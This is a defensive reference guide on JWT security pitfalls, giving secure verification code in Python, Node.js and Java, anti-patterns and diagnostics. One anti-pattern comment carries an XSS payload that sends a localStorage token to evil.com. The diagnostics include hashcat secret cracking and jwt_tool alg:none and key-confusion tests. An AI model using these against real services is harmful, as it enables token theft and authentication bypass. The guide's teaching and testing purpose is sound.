JWT Security Pitfalls: Common Vulnerabilities and Mitigations
What are the common JWT security pitfalls and mitigations?
TL;DR
- Bottom line: Most JWT breaches stem from just 3 mistakes: accepting the
alg:noneheader, failing to whitelist algorithms (enabling HMAC/RSA confusion), and using weak signing secrets -- fix these and you eliminate ~80% of JWT attack surface. - Key tool/command:
jwt.decode(token, key, algorithms=["RS256"])-- always pass an explicitalgorithmsallowlist; never let the token dictate which algorithm to use. - Watch out for: Algorithm confusion attacks where an attacker switches RS256 to HS256 and signs with the public key, producing a token the server validates as legitimate.
- Works with: All JWT libraries (PyJWT 2.x+, jsonwebtoken 9.x+, java-jwt 4.x+, jjwt 0.12+, golang-jwt 5.x+). RFC 7519 compliant.
Constraints
- NEVER accept tokens with
alg:nonein production -- always reject unsigned JWTs - ALWAYS specify an explicit algorithm allowlist when verifying -- never derive the algorithm from the token header
- NEVER use symmetric HMAC secrets shorter than 256 bits (32 bytes) -- weak secrets are brute-forceable in minutes
- NEVER store sensitive data (passwords, PII, credit card numbers) in JWT claims -- the payload is Base64-encoded, not encrypted
- ALWAYS validate
exp,iss, andaudclaims during verification -- missing validation enables token reuse across services - NEVER mix symmetric (HS*) and asymmetric (RS*, ES*, PS*) algorithms on the same verification endpoint
Quick Reference
| # | Vulnerability | Risk | Vulnerable Pattern | Secure Pattern |
|---|---|---|---|---|
| 1 | alg:none acceptance | Critical | Library accepts unsigned tokens | Reject none algorithm; use algorithms allowlist |
| 2 | Algorithm confusion (RS256 to HS256) | Critical | Server uses token header to pick algorithm | Hard-code expected algorithm in verification config |
| 3 | Weak HMAC secret | High | secret = "mysecret" | Use 256+ bit key from CSPRNG: openssl rand -base64 64 |
| 4 | Missing exp validation | High | Token never expires | Set short-lived tokens (5-15 min) + refresh tokens |
| 5 | JWK header injection | High | Server trusts jwk parameter in token header | Ignore embedded JWK; use server-side JWKS only |
| 6 | JKU header injection | High | Server fetches keys from attacker-controlled URL | Whitelist allowed jku URLs; pin JWKS endpoint |
| 7 | KID parameter injection | High | kid used in SQL query or file path unsanitized | Validate kid against allowlist; never use in SQL/file ops |
| 8 | Sensitive data in claims | Medium | {"ssn": "123-45-6789"} in payload | Use opaque token IDs; store sensitive data server-side |
| 9 | Token stored in localStorage | Medium | XSS can read localStorage.getItem("token") | Use HttpOnly + Secure + SameSite cookies |
| 10 | No token revocation | Medium | Compromised token valid until exp | Maintain server-side denylist keyed by jti |
| 11 | Missing iss/aud validation | Medium | Token accepted by any service | Verify iss matches expected issuer; aud matches your service |
| 12 | Token sidejacking | Medium | Stolen JWT grants full access | Bind token to client fingerprint via hardened cookie |
Decision Tree
START: What JWT security concern are you addressing?
├── Token verification is failing or bypassed?
│ ├── alg:none accepted? → Reject none; enforce algorithms allowlist
│ ├── Algorithm confusion (HS256 vs RS256)? → Hard-code algorithm; separate HS/RS endpoints
│ └── Signature not verified at all? → Use verify(), NOT decode()
├── Token stolen or reusable across services?
│ ├── No expiry set? → Add exp claim (5-15 min); use refresh tokens
│ ├── No audience validation? → Validate aud claim on every request
│ ├── Stored in localStorage? → Move to HttpOnly + Secure + SameSite cookie
│ └── No revocation mechanism? → Implement jti-based denylist
├── Header parameter injection?
│ ├── jwk in header trusted? → Ignore jwk; use server-side JWKS only
│ ├── jku pointing to external URL? → Whitelist jku URLs
│ └── kid used in SQL/file path? → Validate kid against allowlist
├── Sensitive data exposure?
│ ├── PII in claims? → Remove; use opaque references + server-side lookup
│ └── Internal architecture in claims? → Replace with UUIDs; use generic roles
└── DEFAULT → Apply all constraints above + short token lifetime + HTTPS only
Step-by-Step Guide
1. Enforce algorithm allowlists on every verification call
The most critical defense: never let the token header dictate which algorithm the server uses. Specify allowed algorithms explicitly. [src4]
import jwt # PyJWT >= 2.4.0
# SECURE: explicit algorithm allowlist
payload = jwt.decode(
token,
key=public_key,
algorithms=["RS256"], # NEVER omit this parameter
audience="https://api.example.com",
issuer="https://auth.example.com"
)
Verify: Craft a token with "alg": "none" and empty signature -- your server should reject it with an algorithm mismatch error.
2. Use strong signing keys
For HMAC (symmetric) algorithms, the key must be at least 256 bits. For RSA, use 2048-bit keys minimum (4096-bit recommended). [src2]
# Generate a strong HMAC secret (64 bytes = 512 bits)
openssl rand -base64 64
# Generate an RSA 4096-bit key pair
openssl genrsa -out private.pem 4096
openssl rsa -in private.pem -pubout -out public.pem
Verify: Attempt brute-force with hashcat -a 0 -m 16500 <token> <wordlist> -- should be computationally infeasible.
3. Set short token lifetimes and validate temporal claims
Access tokens should expire in 5-15 minutes. Always validate exp, nbf, and iat. [src1]
import jwt
from datetime import datetime, timezone, timedelta
payload = {
"sub": user_id,
"iss": "https://auth.example.com",
"aud": "https://api.example.com",
"exp": datetime.now(timezone.utc) + timedelta(minutes=15),
"jti": str(uuid.uuid4())
}
token = jwt.encode(payload, private_key, algorithm="RS256")
Verify: Create a token with exp set 1 second in the past -- verification should raise ExpiredSignatureError.
4. Implement token revocation with a jti denylist
JWTs are stateless by design but compromised tokens remain valid until expiry. Maintain a denylist for critical operations. [src1]
CREATE TABLE revoked_tokens (
jti VARCHAR(255) PRIMARY KEY,
revoked_at TIMESTAMP DEFAULT NOW(),
expires_at TIMESTAMP NOT NULL
);
Verify: Revoke a valid token's jti, then attempt to use the token -- should be rejected.
5. Secure client-side token storage
Never store JWTs in localStorage (vulnerable to XSS). Use HttpOnly cookies with Secure, SameSite, and path restrictions. [src1]
res.cookie('access_token', token, {
httpOnly: true,
secure: true,
sameSite: 'Strict',
maxAge: 15 * 60 * 1000,
path: '/api'
});
Verify: Open browser DevTools > Console > document.cookie -- the token should NOT appear.
6. Bind tokens to client context (anti-sidejacking)
Generate a random fingerprint during authentication, hash it into the token, and send the raw value as a hardened cookie. [src1]
import hashlib, secrets
fingerprint = secrets.token_hex(32)
fingerprint_hash = hashlib.sha256(fingerprint.encode()).hexdigest()
claims = {
"sub": user_id,
"exp": ...,
"user_context": fingerprint_hash
}
# Set-Cookie: __Secure-Fgp={fingerprint}; HttpOnly; Secure; SameSite=Strict
Verify: Extract the JWT and replay it without the cookie -- should be rejected due to mismatched fingerprint.
Code Examples
Python/PyJWT: Secure Token Verification
import jwt # PyJWT >= 2.4.0
# Input: JWT string, RSA public key (PEM), expected issuer and audience
# Output: Decoded claims dict, or raises exception on invalid token
def verify_token(token: str, public_key: str) -> dict:
try:
payload = jwt.decode(
token,
key=public_key,
algorithms=["RS256"],
audience="https://api.example.com",
issuer="https://auth.example.com",
options={
"require": ["exp", "iss", "aud", "sub", "jti"],
"verify_exp": True,
"verify_iss": True,
"verify_aud": True,
}
)
if is_revoked(payload.get("jti")):
raise jwt.InvalidTokenError("Token has been revoked")
return payload
except jwt.ExpiredSignatureError:
raise
except jwt.InvalidTokenError as e:
raise
Node.js/jsonwebtoken: Secure Token Verification
const jwt = require('jsonwebtoken'); // >= 9.0.0
// Input: JWT string, RSA public key (PEM)
// Output: Decoded payload, or throws on invalid token
function verifyToken(token, publicKey) {
return jwt.verify(token, publicKey, {
algorithms: ['RS256'],
audience: 'https://api.example.com',
issuer: 'https://auth.example.com',
complete: false,
clockTolerance: 5,
});
}
Java/jjwt: Secure Token Verification
// jjwt >= 0.12.0
import io.jsonwebtoken.Jwts;
import java.security.PublicKey;
// Input: JWT string, RSA public key
// Output: Claims object, or throws SignatureException
public Claims verifyToken(String token, PublicKey publicKey) {
return Jwts.parser()
.verifyWith(publicKey)
.requireIssuer("https://auth.example.com")
.requireAudience("https://api.example.com")
.build()
.parseSignedClaims(token)
.getPayload();
}
Anti-Patterns
Wrong: Deriving algorithm from the token header
# BAD -- attacker controls the algorithm by modifying the JWT header
import jwt
header = jwt.get_unverified_header(token)
payload = jwt.decode(token, key, algorithms=[header["alg"]])
# Attacker sets alg:HS256, signs with the RSA public key -> accepted!
Correct: Hard-code the expected algorithm
# GOOD -- server dictates the algorithm, not the token
import jwt
payload = jwt.decode(token, key, algorithms=["RS256"])
Wrong: Using decode() instead of verify()
// BAD -- decode() does NOT verify the signature
const jwt = require('jsonwebtoken');
const payload = jwt.decode(token); // Anyone can forge this token
Correct: Always use verify() with algorithm enforcement
// GOOD -- verify() checks signature + claims
const jwt = require('jsonwebtoken');
const payload = jwt.verify(token, publicKey, { algorithms: ['RS256'] });
Wrong: Weak HMAC secret
# BAD -- short secrets are brute-forceable with hashcat in minutes
import jwt
token = jwt.encode(payload, "secret123", algorithm="HS256")
Correct: Cryptographically strong secret
# GOOD -- 512-bit key from CSPRNG
import jwt, secrets
signing_key = secrets.token_bytes(64)
token = jwt.encode(payload, signing_key, algorithm="HS256")
Wrong: Storing JWTs in localStorage
// BAD -- any XSS vulnerability can steal the token
localStorage.setItem('token', jwt);
// XSS payload: fetch('https://evil.com?t=' + localStorage.getItem('token'))
Correct: HttpOnly cookie storage
// GOOD -- JavaScript cannot access HttpOnly cookies
res.cookie('token', jwt, {
httpOnly: true, secure: true, sameSite: 'Strict', path: '/api'
});
Wrong: No expiry or extremely long expiry
# BAD -- token valid forever; if stolen, attacker has permanent access
payload = {"sub": user_id} # No exp claim
token = jwt.encode(payload, key, algorithm="RS256")
Correct: Short-lived tokens with refresh flow
# GOOD -- 15-minute access token + refresh token
from datetime import datetime, timezone, timedelta
payload = {
"sub": user_id,
"exp": datetime.now(timezone.utc) + timedelta(minutes=15),
"jti": str(uuid.uuid4())
}
token = jwt.encode(payload, key, algorithm="RS256")
Common Pitfalls
- Algorithm confusion on shared endpoints: A service using RS256 has its public key exposed. An attacker changes
algto HS256 and signs with the public key as the HMAC secret, and the server verifies successfully. Fix: Never allow both symmetric and asymmetric algorithms on the same endpoint. [src4] - Case-insensitive
alg:nonebypass: Libraries may reject"none"but accept"None","nOnE", or"NONE". Auth0 was vulnerable to this exact bypass. Fix: Use an algorithm allowlist (which inherently rejects allnonevariants). [src4] - JWK/JKU header trust: If the server fetches verification keys from the
jkuURL in the token header without validating against a whitelist, an attacker can host their own JWKS. Fix: Configure JWKS endpoints server-side; ignorejku/jwkfrom the token. [src2] - KID injection to SQL/filesystem: If
kidis used in a SQL query or file path, attackers can inject SQL or traverse directories to/dev/null. Fix: Validatekidagainst an allowlist. [src2] - Accepting tokens without
audclaim: A token issued for Service A is replayed against Service B. Fix: Always set and validate theaudclaim specific to each service. [src3] - Token replay after password change: User changes password but old JWTs remain valid until
exp. Fix: Include a password hash version claim and check it server-side, or revoke all tokens via denylist on password change. [src1] - Sensitive data leakage from claims: Developers place email, SSN, or internal IDs in the JWT payload, not realizing Base64 is encoding, not encryption. Fix: Use JWE or store only opaque identifiers. [src3]
- Clock skew causing false rejections: Distributed systems with unsynchronized clocks reject valid tokens or accept expired ones. Fix: Configure a
clockToleranceof 5-30 seconds; keep servers NTP-synced. [src7]
Diagnostic Commands
# Decode a JWT without verification (inspect header + payload)
echo 'eyJhbGci...' | cut -d. -f1 | base64 -d 2>/dev/null | jq .
echo 'eyJhbGci...' | cut -d. -f2 | base64 -d 2>/dev/null | jq .
# Check JWT header algorithm
echo $JWT | cut -d. -f1 | base64 -d 2>/dev/null | jq -r .alg
# Brute-force weak HMAC secrets with hashcat
hashcat -a 0 -m 16500 <jwt_token> /usr/share/wordlists/rockyou.txt
# Test for alg:none vulnerability with jwt_tool
python3 jwt_tool.py <token> -X a # Test alg:none
python3 jwt_tool.py <token> -X k # Test key confusion
# Verify RSA key strength
openssl rsa -in private.pem -text -noout | head -1
# Check a JWKS endpoint for key issues
curl -s https://auth.example.com/.well-known/jwks.json | jq '.keys[] | {kid, kty, alg, use}'
# Verify token expiry from the command line
echo $JWT | cut -d. -f2 | base64 -d 2>/dev/null | jq '.exp | todate'
Version History & Compatibility
| Library | Version | Status | Key Security Feature |
|---|---|---|---|
| PyJWT | 2.x (2.11.0) | Current | algorithms parameter required by default; rejects none |
| PyJWT | 1.x | EOL | algorithms parameter optional -- vulnerable to confusion attacks |
| jsonwebtoken (Node) | 9.x | Current | algorithms required in verify(); rejects none by default |
| jsonwebtoken (Node) | 8.x | Deprecated | algorithms optional -- vulnerable if omitted |
| java-jwt (Auth0) | 4.x | Current | Typed algorithm builders prevent confusion attacks |
| jjwt (Java) | 0.12.x | Current | parseSignedClaims() rejects unsigned tokens |
| golang-jwt | 5.x | Current | WithValidMethods() enforces algorithm allowlist |
| RFC 7519 | N/A | Active | Defines JWT structure; mandates HS256 + none support (disable in production) |
When to Use / When Not to Use
| Use When | Don't Use When | Use Instead |
|---|---|---|
| Stateless API authentication in microservices | You need immediate token revocation for every request | Server-side sessions with session ID |
| Single Sign-On (SSO) across multiple domains | Tokens carry large amounts of data (>4KB) | Opaque tokens + server-side data store |
| Short-lived access tokens (5-15 min lifetime) | You store sensitive PII in the token payload | Encrypted tokens (JWE) or opaque references |
| Mobile/SPA clients calling REST APIs | Your threat model requires instant logout across all sessions | Session-based auth with server-side invalidation |
Important Caveats
- RFC 7519 mandates that implementations support
alg:none-- but supporting it and accepting it in production are different things; always rejectnonein verification - The
issclaim alone is not sufficient for trust -- you must also verify the signing key belongs to the stated issuer (key binding) - JWTs in URL query parameters leak in server logs, referer headers, and browser history -- always transmit in Authorization header or HttpOnly cookies
- Token rotation (issuing new access token via refresh token) does not invalidate the old token -- both remain valid until
exp; implement refresh token rotation with one-time-use semantics - Library defaults change between major versions -- PyJWT 1.x vs 2.x and jsonwebtoken 8.x vs 9.x have different default behaviors for algorithm validation
- JWTs are not inherently more secure than session tokens -- they trade server-side state for cryptographic complexity; if your application is a monolith, sessions may be simpler and equally secure